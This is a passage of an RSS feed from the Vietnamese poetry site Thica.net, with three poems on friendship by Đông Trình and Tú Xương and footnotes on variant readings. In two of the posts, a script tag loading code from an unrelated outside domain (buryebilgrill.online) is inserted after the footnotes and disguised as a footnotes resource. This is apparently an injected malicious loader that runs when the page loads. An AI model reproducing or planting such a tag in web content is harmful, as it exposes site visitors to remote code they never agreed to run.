		<comments>https://www.thica.net/2013/09/12/hanh-ca-cho-mot-tuong-lai-da-nhin-ro-mat/#respond</comments>
		<pubDate>Thu, 12 Sep 2013 01:00:56 +0000</pubDate>
		<dc:creator><![CDATA[Đông Trình]]></dc:creator>
				<category><![CDATA[Đông Trình]]></category>
		<category><![CDATA[Bạn bè]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Tình bạn]]></category>
		<category><![CDATA[Tuổi trẻ]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=10146</guid>
		<description><![CDATA[<p>Tuổi thơ ta hề gói tròn trong áo mẹ<br />
Nắng mới lên hồng nội ngoại hai phương<br />
Những thôn xóm quê chim gù rất khẽ<br />
Hoa chìu thơm nở rợp những con đường</p>
<p>Lũy tre xanh hề như bàn tay ôm<br />
Đặt thân tình ta giữa rốn làng<br />
Ngô khoai hề hiền như cơm<br />
Sỏi đá hề quý như vàng</p>
<p>Tuổi trẻ ta ôi vô cùng ngây thơ<br />
Như dòng sông rất đỗi hiền từ<br />
Thênh thang giữa hai bờ cát trắng<br />
Theo khói cơm chiều, ta gây mơ</p>
<p>[...]</p>
<p>Bạn bè ta những thằng nuôi chí lớn<br />
Luyện văn chương thành một lưỡi gươm thần<br />
Đứng với ngu phu làm người hảo hớn<br />
Sống giữa đời hèn mà rất triết nhân</p>
<p>Ôi những bạn bè mà ta rất yêu<br />
Sáng có mặt nhau, chiều hẹn chiều<br />
Có quán nào ấm hơn quán trọ<br />
Mái lá mưa về lay gió xiêu</p>
<p>Đời rộng thu vừa chiếu tình thân<br />
Lịch sử xa mà tưởng rất gần<br />
Kinh Kha không là người vắng mặt<br />
Vì quanh ta sống lại những vua Tần</p>
<p>[...]</p>
<p>Tuổi thanh xuân ta hề chất ngất cao vọng<br />
Thở dài hơi trong một quả tim hồng<br />
Tuổi thanh xuân ta hề căng như mặt trống<br />
Như mũi tên chờ trên cánh cung</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2013/09/12/hanh-ca-cho-mot-tuong-lai-da-nhin-ro-mat/">Hành ca cho một tương lai đã nhìn rõ mặt</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Tuổi thơ ta hề gói tròn trong áo mẹ<br />Nắng mới lên hồng nội ngoại hai phương<br />Những thôn xóm quê chim gù rất khẽ<br />Hoa chìu thơm nở rợp những con đường</p><p>Lũy tre xanh hề như bàn tay ôm<br />Đặt thân tình ta giữa rốn làng<br />Ngô khoai hề hiền như cơm<br />Sỏi đá hề quý như vàng</p><p>Tuổi trẻ ta ôi vô cùng ngây thơ<br />Như dòng sông rất đỗi hiền từ<br />Thênh thang giữa hai bờ cát trắng<br />Theo khói cơm chiều, ta gây mơ</p><p>Những buổi sáng ta ngồi ru bé ngủ<br />Hát ầu ơ như một gã thất tình<br />Phiên chợ tan, mẹ về, ta mừng rỡ<br />Nụ hôn vàng thay những món quà xinh</p><p>Những buổi chiều theo chân cha lên rẫy<br />Dựng chòi canh, ta ngồi giữ thú rừng<br />Giữa thiên nhiên, ta một mình đứng dậy<br />Lên tiếng gọi người chia nỗi cô đơn</p><p>Đốt lửa đêm hề ta nhai bắp nướng<br />Nước lòng khe đã rót sẵn lưng bầu<br />Ta vung tay hề như viên tể tướng<br />Ném tiếng cười vang dội cả rừng sâu</p><p>Tuổi thơ ta sống rất đầy thi sĩ<br />Thiên nhiên nuôi người như một đứa con cưng<br />Tuổi thơ ta cũng vô cùng tráng sĩ<br />Lời mẹ ru êm mà quá đỗi hào hùng</p><p>Muôn năm hề ta yêu Việt Nam<br />Dân tộc ta bất khuất, kiên cường<br />Lịch sử ta bốn ngàn năm lập quốc<br />Máu từ Cà Mau máu thắm Nam Quan</p><p>Đọc sử Tàu ta mê Kinh Kha,<br />Dịch &#8211; thủy vung gươm giã biệt quê nhà<br />“Ta tráng sĩ hề, lòng không mềm bắng kiếm”<br />Đầu Tần Vương và môi hồng Yên Cơ </p><p>Ta sống đời chưa một lần trở mặt<br />Bằng hữu xa gần mở rộng hai tay<br />Ta như trời mở rộng lòng với đất<br />Trước âm mưu, ta cất tiếng cả cười</p><p>Bạn bè ta những thằng nuôi chí lớn<br />Luyện văn chương thành một lưỡi gươm thần<br />Đứng với ngu phu làm người hảo hớn<br />Sống giữa đời hèn mà rất triết nhân</p><p>Ôi những bạn bè mà ta rất yêu<br />Sáng có mặt nhau, chiều hẹn chiều<br />Có quán nào ấm hơn quán trọ<br />Mái lá mưa về lay gió xiêu</p><p>Đời rộng thu vừa chiếu tình thân<br />Lịch sử xa mà tưởng rất gần<br />Kinh Kha không là người vắng mặt<br />Vì quanh ta sống lại những vua Tần</p><p>Có những chiều vàng ta lên núi<br />Anh em cùng trích máu ăn thề<br />Bao giờ quê hương còn lửa khói<br />Chí cả đường dài ta cứ đi</p><p>Tuổi thanh xuân ta hề chất ngất cao vọng<br />Thở dài hơi trong một quả tim hồng<br />Tuổi thanh xuân ta hề căng như mặt trống<br />Như mũi tên chờ trên cánh cung</p><p>Ta vỗ thơ mình như cánh chim<br />Như gió vô tình chở nắng qua đêm<br />Có tiếng hát nào không là sứ điệp?<br />Rất kiêu hùng ta đậu giữa anh em</p><p>Tiếng ta cao hề không ai theo tới<br />Lời ta sâu như lịch sử giống nòi<br />Ta bước đi hề ra ngoài bóng tối<br />Trên cây đời ta ươm nụ tương lai&#8230;</p><p>The post <a href="https://www.thica.net/2013/09/12/hanh-ca-cho-mot-tuong-lai-da-nhin-ro-mat/">Hành ca cho một tương lai đã nhìn rõ mặt</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/09/12/hanh-ca-cho-mot-tuong-lai-da-nhin-ro-mat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">10146</post-id>	</item>
		<item>
		<title>Áo bông che bạn</title>
		<link>https://www.thica.net/2013/02/15/ao-bong-che-ban/</link>
		<comments>https://www.thica.net/2013/02/15/ao-bong-che-ban/#respond</comments>
		<pubDate>Fri, 15 Feb 2013 12:28:15 +0000</pubDate>
		<dc:creator><![CDATA[Tú Xương]]></dc:creator>
				<category><![CDATA[Tú Xương]]></category>
		<category><![CDATA[Tình bạn]]></category>
		<category><![CDATA[Tình yêu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=9169</guid>
		<description><![CDATA[<p>Hỡi ai, ai có nhớ không? <br />
Trời mưa một mảnh áo bông che đầu<br />
Nào ai có tiếc ai đâu?<br />
Áo bông ai ướt khăn đầu ai khô?<br />
Người đi Tam Đảo, Ngũ Hồ <br />
Kẻ về khóc trúc Thương Ngô một mình</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2013/02/15/ao-bong-che-ban/">Áo bông che bạn</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Hỡi ai, ai có nhớ không? <sup><a href="https://www.thica.net/2013/02/15/ao-bong-che-ban/#footnote_0_9169" id="identifier_0_9169" class="footnote-link footnote-identifier-link" title="C&oacute; bản ch&eacute;p: Ai ơi c&ograve;n nhớ ai kh&ocirc;ng?">1</a></sup><br />Trời <sup><a href="https://www.thica.net/2013/02/15/ao-bong-che-ban/#footnote_1_9169" id="identifier_1_9169" class="footnote-link footnote-identifier-link" title="C&oacute; bản ch&eacute;p: Đ&ecirc;m">2</a></sup> mưa một mảnh áo bông che đầu<br />Nào ai có tiếc ai đâu?<br />Áo bông ai ướt khăn đầu ai khô?<br />Người đi Tam Đảo, Ngũ Hồ<br />Kẻ về khóc trúc Thương Ngô <sup><a href="https://www.thica.net/2013/02/15/ao-bong-che-ban/#footnote_2_9169" id="identifier_2_9169" class="footnote-link footnote-identifier-link" title="Tr&uacute;c Thương Ng&ocirc;: Vua Thuấn đi tuần phương nam, chết ở đất Thương Ng&ocirc;. Hai b&agrave; phi đi t&igrave;m, kh&oacute;c nước mắt nhỏ xuống những c&acirc;y tr&uacute;c th&agrave;nh vết lốm đốm v&agrave; tự trầm chết theo b&ecirc;n d&ograve;ng s&ocirc;ng Tương. Tr&uacute;c ấy sau gọi l&agrave; tr&uacute;c Thương Ng&ocirc;. C&oacute; bản ch&eacute;p: kh&oacute;c tr&uacute;c than ng&ocirc;.">3</a></sup> một mình<br />Non non nước nước tình tình<br />Vì ai ngơ ngẩn <sup><a href="https://www.thica.net/2013/02/15/ao-bong-che-ban/#footnote_3_9169" id="identifier_3_9169" class="footnote-link footnote-identifier-link" title="C&oacute; bản ch&eacute;p: V&igrave; ai lận đận">4</a></sup> cho mình ngẩn ngơ…</p><ol class="footnotes"><li id="footnote_0_9169" class="footnote">Có bản chép: Ai ơi còn nhớ ai không?</li><li id="footnote_1_9169" class="footnote">Có bản chép: Đêm</li><li id="footnote_2_9169" class="footnote">Trúc Thương Ngô: Vua Thuấn đi tuần phương nam, chết ở đất Thương Ngô. Hai bà phi đi tìm, khóc nước mắt nhỏ xuống những cây trúc thành vết lốm đốm và tự trầm chết theo bên dòng sông Tương. Trúc ấy sau gọi là trúc Thương Ngô. Có bản chép: khóc trúc than ngô.</li><li id="footnote_3_9169" class="footnote">Có bản chép: Vì ai lận đận</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2013/02/15/ao-bong-che-ban/">Áo bông che bạn</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/02/15/ao-bong-che-ban/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">9169</post-id>	</item>
		<item>
		<title>Nhớ bạn phương trời</title>
		<link>https://www.thica.net/2012/03/15/nh%e1%bb%9b-b%e1%ba%a1n-ph%c6%b0%c6%a1ng-tr%e1%bb%9di/</link>
		<comments>https://www.thica.net/2012/03/15/nh%e1%bb%9b-b%e1%ba%a1n-ph%c6%b0%c6%a1ng-tr%e1%bb%9di/#respond</comments>
		<pubDate>Wed, 14 Mar 2012 17:07:26 +0000</pubDate>
		<dc:creator><![CDATA[Tú Xương]]></dc:creator>
				<category><![CDATA[Tú Xương]]></category>
		<category><![CDATA[Nỗi nhớ]]></category>
		<category><![CDATA[Tình bạn]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=7703</guid>
		<description><![CDATA[<p>[...]</p>
<p>Lúc nhớ nhớ cùng trong mộng tưởng<br />
Khi riêng riêng cả đến tình chung</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2012/03/15/nh%e1%bb%9b-b%e1%ba%a1n-ph%c6%b0%c6%a1ng-tr%e1%bb%9di/">Nhớ bạn phương trời</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Ta nhớ người xa cách núi sông<br />Người xa, xa lắm, nhớ ta không?<br />Sao đang vui vẻ ra buồn bã!<br />Vừa mới quen nhau đã lạ lùng!<br />Lúc nhớ nhớ cùng trong mộng tưởng<br />Khi riêng riêng cả đến tình chung<br />Tương tư lọ phải là mưa gió <sup><a href="https://www.thica.net/2012/03/15/nh%e1%bb%9b-b%e1%ba%a1n-ph%c6%b0%c6%a1ng-tr%e1%bb%9di/#footnote_0_7703" id="identifier_0_7703" class="footnote-link footnote-identifier-link" title="Thơ cổ c&oacute; c&acirc;u &ldquo;Phong vũ dạ ho&agrave;i nh&acirc;n&rdquo;. &Yacute; T&uacute; Xương ở đ&acirc;y l&agrave; kh&ocirc;ng cần phải ở trong đ&ecirc;m mưa gi&oacute; vẫn dậy l&ecirc;n nỗi nhớ về nhau">1</a></sup><br />Một ngọn đèn xanh trống điểm thùng</p><ol class="footnotes"><li id="footnote_0_7703" class="footnote"> Thơ cổ có câu &#8220;Phong vũ dạ hoài nhân&#8221;. Ý Tú Xương ở đây là không cần phải ở trong đêm mưa gió vẫn dậy lên nỗi nhớ về nhau</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2012/03/15/nh%e1%bb%9b-b%e1%ba%a1n-ph%c6%b0%c6%a1ng-tr%e1%bb%9di/">Nhớ bạn phương trời</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2012/03/15/nh%e1%bb%9b-b%e1%ba%a1n-ph%c6%b0%c6%a1ng-tr%e1%bb%9di/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">7703</post-id>	</item>
	</channel>
</rss>
